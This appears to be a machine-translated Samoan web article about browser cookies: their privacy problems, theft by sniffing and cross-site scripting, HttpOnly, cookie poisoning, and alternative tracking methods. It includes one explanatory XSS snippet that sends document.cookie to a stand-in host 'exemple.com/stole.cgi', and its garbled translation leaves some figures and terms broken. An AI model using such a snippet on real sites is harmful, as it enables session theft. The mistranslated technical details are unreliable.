O kuki isi vaega e mafai ona poloka e le tele o tagata su'esu'e e fa'ateleina ai le le faalauaiteleina ma fa'aitiitia le tulituliloaina o fa'asalalauga, e aunoa ma le a'afiaina o le poto masani a le tagata fa'aoga. Tele fa'asalalauga fa'asalalauga e ofoina atu se filifiliga alu ese i fa'asalalauga fa'atatau, e ala i le fa'atūina o se kuki lautele i totonu o le su'esu'ega lea e fa'ate'aina ai lenei fa'amoemoe, ae o sea fofo e le aoga tele, pe a fa'aaloalogia, aua o lenei kuki lautele e tapeina i le taimi lava e tape ai e le tagata fa'aoga nei kuki e fa'aleaogaina ai le filifiliga. i fafo faaiuga.

Le lelei o kuki

E le gata i mataupu fa'alilolilo, o kuki e iai fo'i fa'aletonu fa'apitoa. Aemaise lava, latou te le faʻamaonia saʻo i taimi uma tagata faʻaoga, e mafai ona latou faʻagesegese le faʻatinoina o nofoaga pe a tele numera, e mafai ona faʻaaogaina mo osofaʻiga saogalemu, ma latou feteʻenaʻi ma le sui o le setete fesiitaiga, fausaga fausaga o le polokalama.

Fa'ailoga le sa'o

Afai e sili atu ma le tasi le suʻesuʻega o loʻo faʻaogaina i luga o se komepiuta, i totonu o latou taʻitasi o loʻo i ai i taimi uma se vaega e teu ai kuki. O le mea lea e le iloa ai e kuki se tagata, ae o le tuʻufaʻatasia o se faʻamatalaga faʻaoga, se komepiuta, ma se upega tafaʻilagi. O lea la, e mafai e so'o se tasi ona fa'aogaina nei tala, komepiuta, po'o tagata su'esu'e o lo'o i ai le tele o kuki. E fa'apena fo'i, e le fa'aesea e kuki i le va o le tele o tagata fa'aoga e tutusa fa'amatalaga tagata fa'aoga, komepiuta, ma su'esu'ega, e pei o totonu o "fale'ai initaneti" po'o so'o se nofoaga e maua fua avanoa i punaoa komepiuta.

Ae i le faatinoga o lenei faamatalaga e foliga mai e sese i le tele o mataupu ona o aso nei o se "tagata" komepiuta (po o se telefonipoto, po o se papalama, lea e sili atu ona leaga) e masani ona faaaoga e se tagata e toatasi. e ala i le tele o fa'amatalaga na aoina e taunu'u i fa'atatauga fa'apitoa e tusa lava pe le'o fa'ailoaina le tagata.

E mafai ona gaoia se kuki e se isi komepiuta i luga o le upega tafailagi.

A'o fa'agaioiga masani, e toe fa'afo'i atu kuki i le va o le 'au'aunaga (po'o se fa'alapotopotoga o 'au'aunaga i le itu lava e tasi) ma le su'esu'ega komepiuta a le tagata fa'aoga. Talu ai ona o kuki e mafai ona iai faʻamatalaga maʻaleʻale (igoa faʻaoga, upu faʻaoga mo le faʻamaonia, ma isi), o latou tau e le tatau ona maua i isi komepiuta. O le gaoia o kuki ose faiga o le fa'alavelaveina o kuki e se isi vaega lē fa'atagaina.

E mafai ona gaoia kuki e ala i le sogisogi o le afifi i se osofa'iga e ta'ua o le faoa faamalosi. O feoaiga i luga o le upega e mafai ona faʻalavelave ma faitau e komepiuta e ese mai i latou o loʻo auina atu ma mauaina (aemaise i luga o le Wi-Fi lautele e le faʻamaonia). O nei fefa'ataua'iga e aofia ai kuki na lafo i luga o fa'asalalauga e fa'aaoga ai le protocol HTTP faigofie. Pe a le fa'ailogaina le fefa'ataua'iga o feso'ota'iga, e mafai e tagata leaga ona faitau feso'ota'iga a isi tagata fa'aoga i luga o feso'otaiga e fa'aaoga ai le "packet sniffers".

O lenei faʻafitauli e mafai ona foia e ala i le faʻailogaina o le fesoʻotaʻiga i le va o le komepiuta a le tagata faʻaoga ma le server e faʻaaoga ai le HTTPS protocol. E mafai e se server ona fa'amaonia a fu'a saogalemu ao setiina se kuki; e na'o se laina fa'amautu, e pei o se feso'ota'iga SSL.

Ae ui i lea o le tele o nofoaga, e ui lava e faʻaogaina fesoʻotaʻiga faʻapipiʻi HTTPS mo le faʻamaoniga a le tagata faʻaoga (e pei o le itulau saini), mulimuli ane auina atu kuki o sauniga ma isi faʻamatalaga e pei o masani, e ala i fesoʻotaʻiga HTTP e leʻi faʻamaonia mo mafuaaga lelei. E mafai e tagata osofaʻi ona faʻalavelaveina kuki a isi tagata faʻaoga ma faʻafoliga i latou i luga o nofoaga talafeagai pe faʻaaogaina i osofaʻiga kuki.

Fa'amatalaga i totonu o le saite: o se kuki e tatau ona fesuiai i le va o le server ma le kalani e lafo i se isi vaega lona tolu.

O le isi auala e gaoia ai kuki o le tusia lea o nofoaga ma tuu atu i le browser lava ia e auina atu kuki i sapalai leaga e le maua lava. O su'esu'ega fa'aonaponei e fa'ataga ai le fa'atinoina o vaega ole fa'ailoga mai le server. Afai e maua kuki i le taimi o le taʻavale, o latou tau e mafai ona faʻafesoʻotaʻi i nisi tulaga i 'auʻaunaga e le tatau ona maua. O le fa'ailogaina o kuki a'o le'i tu'uina atu i luga o le feso'otaiga e le fesoasoani e taofia le osofa'iga.

O lenei ituaiga o tusitusiga i totonu o le upega tafaʻilagi e masani ona faʻaaogaina e tagata osofaʻi i luga o saite e mafai ai e tagata faʻaoga ona lafoina mea HTML. E ala i le tuʻufaʻatasia o se vaega o le code compatible i le saofaga HTML, e mafai e le tagata osofaʻi ona maua kuki mai isi tagata faʻaoga. O le malamalama i nei kuki e mafai ona fa'aoga e ala i le fa'afeso'ota'i i le saite lava e tasi e fa'aaoga ai kuki na gaoia, ma fa'apea e iloa ai le tagata fa'aoga na gaoia ana kuki.

O se tasi o auala e puipuia ai ia osofaʻiga o le faʻaaogaina lea o le fuʻa HttpOnly; o se filifiliga, faʻafeiloaʻi talu mai le version 6 o Internet Explorer i PHP talu mai le version 5.2.0 lea ua fuafua e faʻaogaina le kuki e le tagata o tausia latalata ile tusitusiga. Ae ui i lea, e tatau i le au atinaʻe i luga o le upega tafaʻilagi ona amanaia lenei mea i le atinaʻeina o latou upega tafaʻilagi ina ia latou puipuia mai tusitusiga i totonu o le saite.

O le isi fa'amata'u saogalemu o lo'o fa'aaogaina o le fa'aogaina lea o manaoga i totonu o le saite.

O fa'amatalaga fa'apitoa fa'apitoa e fa'atagaina ai kuki e toe fa'afo'i atu na'o sa'u i totonu o le vaega na afua mai ai. Ae ui i lea, o le tau o kuki e mafai ona lafo i isi 'auʻaunaga e faʻaaoga ai auala e ese mai i ulutala kuki.

Aemaise lava, o gagana tusitusi e pei o le JavaScript e masani ona faʻatagaina e maua ai faʻatauga kuki ma e mafai ona tuʻuina atu tau faʻatatau i soʻo se server i luga ole Initaneti. O lenei agava'a tusitusi e fa'aogaina mai luga o upega tafa'ilagi e mafai ai e tagata fa'aoga ona fa'apipi'i mea HTML mo isi tagata fa'aoga e va'ai.

Mo se faʻataʻitaʻiga, o se tagata osofaʻi o loʻo galue i luga o le example.com domain atonu e tuʻuina atu se faʻamatalaga o loʻo i ai le soʻotaga lea e faasino i se blog lauiloa latou te le pulea:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

A kiliki e se isi tagata fa'aoga i luga o lenei so'oga, e fa'atino e le su'esu'e le vaega o le onclick attribute o le code, o lea e sui ai le manoa document.cookie ma le lisi o kuki fa'aoga o lo'o galue mo lenei itulau. O le mea lea, o lenei lisi o kuki e lafoina i le example.com server, ma o le mea lea e mafai ai e le tagata osofaʻi ona aoina kuki a lenei tagata faʻaoga.

O lenei ituaiga osofaʻiga e faigata ona iloa i le itu a le tagata faʻaoga ona o le tusitusiga e sau mai le itu lava e tasi e seti ai le kuki, ma o le gaioiga e lafo ai tau e foliga mai e faʻatagaina e lena vaega. E manatu o le matafaioi a le au pulega o loʻo faʻagaioia lenei ituaiga o saite e tuʻu ai tapulaʻa e taofia ai le lolomiina o tulafono leaga.

E le mafai ona iloa sa'o kuki i polokalame i le itu o tagata o tausia e pei o le JavaScript pe afai na auina atu ma le fu'a HttpOnly. Mai le vaaiga a le server, na o le pau lava le eseesega o le laina o le Set-Cookie header o loʻo faʻaopoopoina se fanua fou e iai le manoa HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

A maua e le su'esu'e sea kuki, e tatau ona fa'aoga masani i le fa'aliliuga HTTP o lo'o mulimuli mai, ae aunoa ma le fa'aalia i tusitusiga na fa'atinoina i le itu o le kalani. O le fu'a HttpOnly e le o se vaega o so'o se fa'amatalaga fa'apitoa fa'apitoa, ma e le fa'atinoina i su'esu'ega uma. Manatua e leai se auala i le taimi nei e taofia ai le faitau ma le tusiaina o kuki o sauniga e ala ile XMLHTTPRequest metotia.

Suiga o mea e aofia ai: e auina atu e se tagata osofaʻi se kuki le aoga i se server, atonu na faia mai se kuki aoga na lafoina e le server.

O le taimi lava e manaʻomia ai le teuina o kuki ma toe faʻafoʻi e le suia i le server, e mafai e le tagata osofaʻi ona suia le tau o kuki aʻo leʻi toe faʻafoʻi atu i le server. Mo se faʻataʻitaʻiga, afai o se kuki o loʻo i ai le aofaʻi o tau e tatau ona totogi e le tagata faʻaoga mo mea na tuʻuina i totonu o le faʻatau faʻatau a le faleoloa, o le suia o lenei tau e faʻaalia ai le server i le lamatiaga o le molia o le tagata osofaʻi i lalo ifo o le tau amata. O le faagasologa o le suia o le tau o kuki e taʻua oona kuki ma e mafai ona fa'aoga pe a uma le gaoi kuki e fa'aauau ai le osofa'iga.

I le auala e fa'amalo ai le kuki, e fa'aogaina e le tagata osofa'i se fa'alavelave su'esu'e e lafo ai se kuki le aoga i le 'au'aunaga.

O le tele o upegatafa'ilagi, peita'i, na'o le teuina o se ID ID - o se numera fa'apitoa fa'atupu fa'afuase'i e fa'aaogaina e fa'ailoa ai le tagata e fa'aoga le sauniga-i totonu o le kuki lava ia, ae o isi fa'amatalaga uma o lo'o teuina i luga o le server. I lenei tulaga, o lenei faafitauli e tele lava ina foia.

O saite ta'itasi e tatau ona i ai a latou lava kuki, o lea e le tatau ai i le tasi saite ona mafai ona suia pe faia kuki e feso'ota'i ma se isi saite. Ole fa'aletonu ole puipuiga ole su'esu'ega ole upegatafa'ilagi e mafai ona fa'atagaina nofoaga leaga e soli lenei tulafono. O le faʻaaogaina o sea faʻaletonu e masani ona taʻua o kuka i luga ole laiga. O le fa'amoemoega o ia osofa'iga atonu o le gaoi ID ID.

E tatau i tagata fa'aoga ona fa'aoga le fa'afouga aupito lata mai o su'esu'ega i luga ole laiga lea e toetoe lava a fa'aumatia ai nei fa'afitauli.

Tulaga fete'ena'i i le va o le kalani ma le server

O le fa'aogaina o kuki e ono fa'atupuina ai se fete'ena'iga i le va o le tulaga o le kalani ma le setete o lo'o teuina i totonu o le kuki. Afai e maua e le tagata faʻaoga se kuki ma kiliki i luga o le "Back" button o le browser, o le tulaga o le browser e masani lava e le tutusa ma muamua i lenei mauaina. Mo se faʻataʻitaʻiga, afai e faia le ato o se faleoloa i luga ole laiga e faʻaaoga ai kuki, e le mafai ona suia mea o loʻo i totonu o le ato pe a toe foʻi le tagata faʻaoga i le tala faʻasolopito: pe a oomi e le tagata faʻaoga se ki e faʻaopopo ai se tala i totonu o lana ato ma kiliki i le "Return " button, o loʻo tumau pea le tusiga i le tasi lea. Atonu e le o le faʻamoemoe lea o le tagata faʻaoga, e mautinoa lava e manaʻo e faʻaleaogaina le faʻaopoopoga o le tusiga. O lenei mea e mafai ona oʻo atu ai i le le faʻamaoni, fenumiai, ma faʻamaʻi. O lea la e tatau i le au atinaʻe upega tafaʻilagi ona nofouta i lenei faʻafitauli ma faʻatino faiga e faʻatautaia ai tulaga faʻapenei.

O kuki faifai pea ua faitioina e tagata tomai faapitoa mo le puipuia o le tagata lava ia ona o le le setiina e muta vave, ma faʻatagaina ai upega tafaʻilagi e siaki tagata faʻaoga ma fausia a latou talaaga i le taimi. O le vaega lenei o kuki ose vaega foi o le fa'afitauli o le faoa faamalosi, ona o se kuki faifai pea e gaoia e mafai ona fa'aaoga e fa'afoliga ai se tagata fa'aoga mo se vaitaimi umi.

E faitau foi: GAFAM: o ai i latou? Aisea latou (o nisi taimi) e matua fefefe ai?

Su'ega i kuki

O nisi fa'agaioiga e mafai ona fa'aaogaina kuki e mafai fo'i ona fa'atino e fa'aoga ai isi faiga e fa'amama ai kuki pe toe fa'afo'i kuki ua tapeina, lea e tupu ai fa'afitauli fa'alilolilo i le auala lava e tasi (pe o nisi taimi e sili atu ona leaga ona e le o va'aia) nai lo kuki.

IP adress

E mafai ona siaki tagata faʻaoga i le tuatusi IP o le komepiuta e valaʻau i le itulau. O lenei metotia na maua talu mai le faʻaofiina o le Upega Tafaʻilagi a le Lalolagi, aʻo sii mai itulau e talosagaina e le server le tuatusi IP o le komepiuta o loʻo faʻaogaina le browser poʻo le sui, pe a leai se mea e faʻaaogaina. E mafai e le 'au'aunaga ona siaki lenei fa'amatalaga pe i ai pe leai ni kuki o lo'o fa'aogaina. Ae ui i lea, o nei tuatusi e masani lava ona le faʻatuatuaina i le faʻamaoniaina o se tagata faʻaoga nai lo kuki ona o komepiuta ma sui e mafai ona fefaʻasoaaʻi e le tele o tagata faʻaoga, ma o le komepiuta lava e tasi e mafai ona maua se tuatusi IP ese i taimi faigaluega taʻitasi (pei o le c masani mo fesoʻotaʻiga telefoni) .

Su'esu'eina e tuatusi IP e mafai ona fa'atuatuaina i nisi o tulaga, e pei o feso'ota'iga feso'ota'iga lautele e tumau ai le tuatusi IP lava e tasi mo se taimi umi, pe a ola pea le paoa.

O nisi faiga e pei o Tor ua mamanuina e faatumauina ai le le faailoaina o le Initaneti ma faia le siakiina e ala i tuatusi IP e le mafai pe le aoga.

URL

O se metotia sili atu ona sa'o e fa'avae i luga o fa'apipi'i fa'amatalaga i URL. Ole vaega ole manoa ole fesili ole URL ole tasi lea auala e masani ona fa'aoga mo lea fa'amoemoe, ae mafai fo'i ona fa'aoga isi vaega. O le Java serverlet ma le PHP session mechanisms e fa'aogaina lenei metotia pe a le mafai kuki.

O lenei metotia e aofia ai le 'upega tafaʻilagi faʻapipiʻi talosaga manoa i soʻotaga o le itulau web lea e ave pe a lafo i le browser. A mulimuli le tagata fa'aoga i se feso'ota'iga, e toe fa'afo'i e le su'esu'e le manoa fesili fa'apipi'i i le server.

O manoa fesili e fa'aoga mo lea fa'amoemoe ma kuki e tutusa lelei lava, o fa'amatalaga uma na filifilia e le server ma toe fa'afo'i mai e le browser. Ae ui i lea, o loʻo i ai ni eseesega: pe a toe faʻaaogaina se URL o loʻo i ai se manoa fesili, o le faʻamatalaga lava e tasi e lafo i le server. Mo se fa'ata'ita'iga, afai o mana'oga a le tagata fa'aoga o lo'o fa'ailogaina i se manoa fesili o se URL ma lafo atu e le tagata fa'aoga lena URL i se isi tagata fa'aoga e ala ile imeli, e mafai fo'i e lena tagata fa'aoga ona fa'aoga na mana'oga.

I le isi itu, pe a faʻaoga faalua e le tagata faʻaoga le itulau e tasi, e leai se faʻamautinoaga o le manoa fesili tutusa o le a faʻaaogaina i taimi uma e lua. Mo se fa'ata'ita'iga, afai e tulaueleele se tagata fa'aoga i luga o se itulau mai se itulau i totonu o le saite i le taimi muamua ma tulaueleele i le itulau e tasi mai se itulau i fafo i le taimi lona lua, o le manoa fesili e fa'atatau i le itulau o le saite e masani lava ona ese, ae o kuki e tutusa. .

O isi mea le lelei o manoa fesili e fesoʻotaʻi ma le saogalemu: o le tausia o faʻamaumauga e faʻamaonia ai se vasega i manoa fesili e mafai ai pe faʻafaigofieina osofaʻiga faʻatulagaina, faʻamatalaga faʻamatalaga osofaʻiga, ma isi faʻaoga. O le pasiina o ID o sauniga e pei o kuki HTTP e sili atu ona malupuipuia.

fanua fa'ailoga natia

O le tasi ituaiga o su'esu'ega, fa'aaogaina e le ASP.NET, o le fa'aogaina lea o fomu i luga ole laiga ma fanua natia. O lenei metotia e talitutusa lava ma le faʻaaogaina o manoa fesili URL e ave ai faʻamatalaga ma e tutusa lelei ma le le lelei; ma afai o le fomu e faʻaogaina i le HTTP GET method, o fanua e avea moni lava ma vaega o le URL o le suʻesuʻega o le a lafoina pe a tuʻuina atu le fomu. Ae o le tele o fomu o loʻo faʻaogaina i le HTTP POST, lea e mafua ai le faʻamatalaga o pepa, e aofia ai ma fanua natia, e faʻaopoopoina o se faʻaopoopoga faʻaopoopo e le o se vaega o le URL poʻo se kuki.

O lenei faiga e lua ona lelei mai le vaʻaiga o le sailiga: muamua, o le siakiina o faʻamatalaga o loʻo tuʻuina i le HTML source code ma le POST input nai lo le URL o le a mafai ai e le tagata faʻaoga masani ona aloese mai lenei sailiga; lona lua, o le faʻamatalaga o le sauniga e le kopiina pe a kopi e le tagata faʻaoga le URL (e faʻasaoina le itulau i le tisiki pe lafo i luga ole imeli, mo se faʻataʻitaʻiga).

faamalama.igoa

O su'esu'ega masani uma e mafai ona teuina le tele o fa'amaumauga (2MB i le 32MB) e ala i le JavaScript e fa'aoga ai le meatotino a le DOM window.name. O nei fa'amaumauga e mafai ona fa'aoga nai lo kuki fa'atasi ma e fa'aoga fo'i i vaega uma. O le metotia e mafai ona tu'ufa'atasia ma mea JSON e teu ai se seti lavelave o fesuiaiga o sauniga a tagata o tausia.

O le itu i lalo e faapea o faamalama eseese taitasi po o se tab o le ai ai muamua se avanoa avanoa window.name; pe a su'esu'e i fa'amau (tatala e le tagata fa'aoga) o lona uiga o fa'amau e tatala ta'itasi e leai se igoa fa'amalama. E le gata i lea o le window.name e mafai ona faʻaoga e siaki ai tagata asiasi i luga o nofoaga eseese e mafai ona tulaʻi mai ai se mataupu faʻapitoa.

I nisi itu e mafai ona sili atu le saogalemu nai lo kuki, ona o le le aʻafia o le 'auʻaunaga, ma faʻapena ona faʻafefe i le osofaʻiga o fesoʻotaʻiga a kuki sniffer. Ae peitaʻi, afai e faia ni faiga faʻapitoa e puipuia ai faʻamaumauga, e ono afaina i isi osofaʻiga, ona o loʻo maua faʻamatalaga e ala i isi nofoaga e tatalaina i le faamalama lava e tasi.

HTTP fa'amaoni

O le HTTP protocol o lo'o aofia ai fa'amaumauga fa'amautu fa'amaonia avanoa ma le fa'amatalaga fa'amaonia avanoa, lea e fa'atagaina ai le avanoa i se itulau i luga ole laiga pe a tu'uina atu e le tagata fa'aoga le igoa ole igoa ma le fa'aupuga. Afai e talosagaina e le 'auʻaunaga se tusi faamaonia e faʻatagaina ai le avanoa i se itulau web, e talosagaina e le browser mai le tagata faʻaoga ma a maua loa, e teuina e le browser ma auina atu i talosaga HTTP uma mulimuli ane. O lenei faʻamatalaga e mafai ona faʻaogaina e siaki ai le tagata faʻaoga.

Mea fa'asoa fa'apitonu'u

Afai o se masini e aofia ai le Adobe Flash Player plugin, o le mea fa'asoa fa'apitonu'u e mafai ona fa'aoga mo le fa'amoemoe lava e tasi e pei o kuki. E mafai ona avea ma se filifiliga aulelei mo tagata atiaʻe upega tafaʻilagi aua:

  • ole lapo'a fa'atapula'a mo se mea fa'asoa fa'apitonu'u ole 100 KB;
  • siaki saogalemu e ese mai siaki kuki fa'aoga (ina ia mafai ai ona fa'ataga mea fa'asoa fa'apitonu'u pe a leai kuki).

Ole vaega mulimuli lea, e fa'aeseese ai le faiga fa'avae o le fa'atonutonuina o kuki mai mea fa'asoa fa'apitonu'u a Adobe laga fesili e uiga i le pulega a le tagata e fa'aogaina ana tulaga fa'alilolilo: e tatau ona ia nofouta o lana pulega o kuki e leai sona a'afiaga i le puleaina o mea fa'asoa fa'apitonu'u, ma le isi itu.

O le isi faitioga i lenei faiga e na'o le Adobe Flash Player e mafai ona fa'aogaina e fa'apitoa ae le o se upega tafa'ilagi.

Fa'atauva'a a le aufaipisinisi

E lagolagoina e nisi su'esu'ega i luga o le upega tafa'ilagi se faiga fa'amaumau e fa'atatau i tusitusiga, lea e mafai ai e le itulau ona teu fa'amatalaga i le lotoifale mo le fa'aoga mulimuli. Internet Explorer, mo se faʻataʻitaʻiga, e lagolagoina faʻamatalaga faifaipea i le talafaasolopito o suʻesuʻega, faʻailoga tusi, i se faʻasologa o loʻo teuina i le XML, pe tuusaʻo ma se itulau web e teuina i le disk. Mo Microsoft Internet Explorer 5, o loʻo i ai se auala faʻaoga-faʻamatalaga e maua e ala i amioga DHTML.

O le W3C na fa'aofiina i le HTML 5 se API JavaScript fou mo le teuina o fa'amaumauga a tagata o lo'o ta'ua o le Web storage ma fa'amoemoe e suia tumau kuki. E talitutusa ma kuki ae faʻaleleia atili le gafatia ma e aunoa ma le teuina o faʻamatalaga i le ulutala o talosaga HTTP. E fa'atagaina e le API ni ituaiga se lua e teu ai upegatafa'ilagi: localstorage ma sessionstorage, e tutusa ma kuki faifai pea ma kuki o sauniga (sei vagana ai kuki o sauniga e muta pe a tapuni le browser a'o teuina o sauniga fa'agata pe a tapuni le tab), fa'asologa. E lagolagoina e Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 ma Opera 10.50.

O se masini ese'ese e masani ona fa'alagolago i le fa'aogaina o su'esu'ega (i le manatua nai lo le fa'afouina) e fa'aaoga ai polokalame JavaScript i itulau uepi. 

Mo se faʻataʻitaʻiga, o se itulau e mafai ona i ai le pine . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

I le taimi nei, o loʻo tumau pea le polokalame i le cache memory ma le itulau asiasi e le toe faʻaleleia mo le taimi lona lua. O le mea la lea, afai o le polokalame o loʻo i ai se fesuiaiga o le lalolagi (mo se faʻataʻitaʻiga var id = 3243242;), e tumau pea le faʻamaonia o lenei faʻamatalaga ma e mafai ona faʻaogaina e isi code JavaScript pe a toe utaina le itulau, poʻo le taimi e utaina ai se itulau e fesoʻotaʻi ai le polokalame. 

O le fa'aletonu tele o lenei metotia o le suiga o le lalolagi JavaScript e tatau ona tumau, o lona uiga e le mafai ona suia pe tape e pei o se kuki.

'upega tafa'ilagi fa'ailoga tamatamai lima

O le tamatamai lima o le browser o fa'amatalaga e aoina mai e uiga i le fa'atulagaina o se masini su'esu'e mo fa'amoemoega e iloagofie ai. O nei tamatamai lima e mafai ona fa'aoga e fa'ailoa atoatoa ai pe fa'afa'ailoga se tagata fa'aoga Initaneti po'o se masini e tusa lava pe fa'aletonu kuki.

O fa'amatalaga fa'asologa o su'esu'ega i luga o le upega tafa'ilagi ua leva ona aoina e 'au'aunaga a le au maimoa i luga o le upega tafa'ilagi mo le fa'amoemoe o le fuaina sa'o o femalagaiga i luga o le upega tafa'ilagi a le tagata ma iloa ai ituaiga eseese o faiga fa'asese kiliki. Faatasi ai ma le fesoasoani a le itu o tagata o tausia gagana tusitusi, e sili atu le saʻo o le aoina o faʻamatalaga ua mafai nei.

O le fa'aliliuina o nei fa'amatalaga i se manoa laititi e maua ai se tamatamai lima ole masini. I le 2010, na fuaina ai e le Electronic Frontier Foundation (EFF) le entropy o le tamatamai lima o le browser e le itiiti ifo. 18,1 faagutu, ma o le mea lena a'o le'i agai i luma le faiga o tamatamai lima tapoleni faaopoopo 5,7 bits i lena entropy.

Kuki i se faapuupuuga

O kuki o faila faila laiti ia e teuina e le upega tafa'ilagi i luga o le malo malo o tagata asiasi i luga o le upega tafaʻilagi ma e faʻaaogaina (faʻatasi ai ma isi mea) e faʻamaumau ai faʻamatalaga e uiga i le tagata asiasi poʻo la latou malaga i luga o le saite. E mafai e le webmaster ona iloa masaniga a se tagata asiasi ma faʻapitoa le tuʻuina atu o lana saite mo tagata asiasi taʻitasi; kuki ona mafai ai lea ona manatua le tele o tala e faʻaalia i luga o le itulau autu poʻo le taofia foi o faʻamatalaga saini mo soʻo se pati tumaoti: pe a toe foʻi mai le tagata asiasi i le saite, e le o toe manaʻomia mo ia ona lolomi lona igoa ma le upu faʻaulu ia iloa, talu ai e otometi lava ona faitau i le kuki.

O se kuki e fa'atapula'aina le ola, fa'atulaga e le fa'ailoga nofoaga. E mafai foi ona muta i le faaiuga o le sauniga i luga o le saite, lea e fetaui ma le tapunia o le browser. O kuki e fa'aaoga lautele e fa'afaigofie ai le olaga mo tagata asiasi ma tu'uina atu fa'amatalaga e sili atu ona talafeagai. Ae o auala faʻapitoa e mafai ai ona mulimuli i se tagata asiasi i luga o le tele o saite ma faʻapea ona aoina ma faʻafesoʻotaʻi faʻamatalaga tele e uiga i ana masani. O lenei metotia ua tuʻuina atu ai le faʻaaogaina o kuki o se taʻutaʻua o se auala mataʻituina lea e solia ai le le faalauaiteleina o tagata asiasi, lea e fetaui ma le mea moni i le tele o tulaga o le faʻaaogaina mo mafuaaga e le faʻapitoa poʻo le le faʻaaloalo i faʻamoemoega o tagata. .

I le tali atu i nei popolega fa'aletulafono, ua fa'ailoa mai e le HTML 5 se JavaScript API fou mo le teuina o fa'amaumauga i le itu o tagata o lo'o ta'ua o le upega tafa'ilagi, lea e sili atu ona malupuipuia ma sili atu le gafatia, lea e fa'amoemoe e sui ai kuki.

Teuina o kuki

Faatasi ai ma nisi o suʻesuʻega, o se kuki e faigofie ona faʻasaʻo, o se faʻamatalaga faigofie e pei o le Notepad e lava lea e sui ai ona tau ma le lima.

E ese le fa'asaoina o kuki e fa'atatau ile su'esu'ega:

  • Microsoft Internet Explorer teu kuki taitasi i se faila ese;
  • Mozilla Firefox teu uma ana kuki i se faila e tasi;
  • Opera fa'asaoina uma ana kuki i se faila e tasi ma fa'aigoaina (e le mafai ona toe suia se'i vagana ai i le polokalame filifiliga);
  • Apple Safari fa'asaoina uma ana kuki i se faila fa'aopoopo .plist e tasi. Suiga e mafai ae e le faigofie tele, se'i vagana ua e alu i le polokalama filifiliga.

E mana'omia su'esu'e e lagolago a itiiti :

  • 300 kuki fa'atasi;
  • 4 o le kuki;
  • 20 kuki mo le talimalo po'o le vaega.
[Aofai: 0 Uiga: 0]

tusia e Iloiloga Faʻatonutonu

O le 'au o faʻatonu faʻatonu latou te faʻaaluina lo latou taimi e suʻesuʻe ai oloa, faʻatinoina suʻega aoga, faʻatalanoaina polofesa alamanuia, iloiloina tagata faʻatau iloiloga, ma tusia uma a matou taunuʻuga o se malamalamaʻaga ma auiliili aotelega.

Tuua se faamatalaga

O lau tuatusi imeli o le a le lolomiina. fanua manaomia ua faailogaina *

O le'a sou manatu?

384 manatu
Upusote Lalo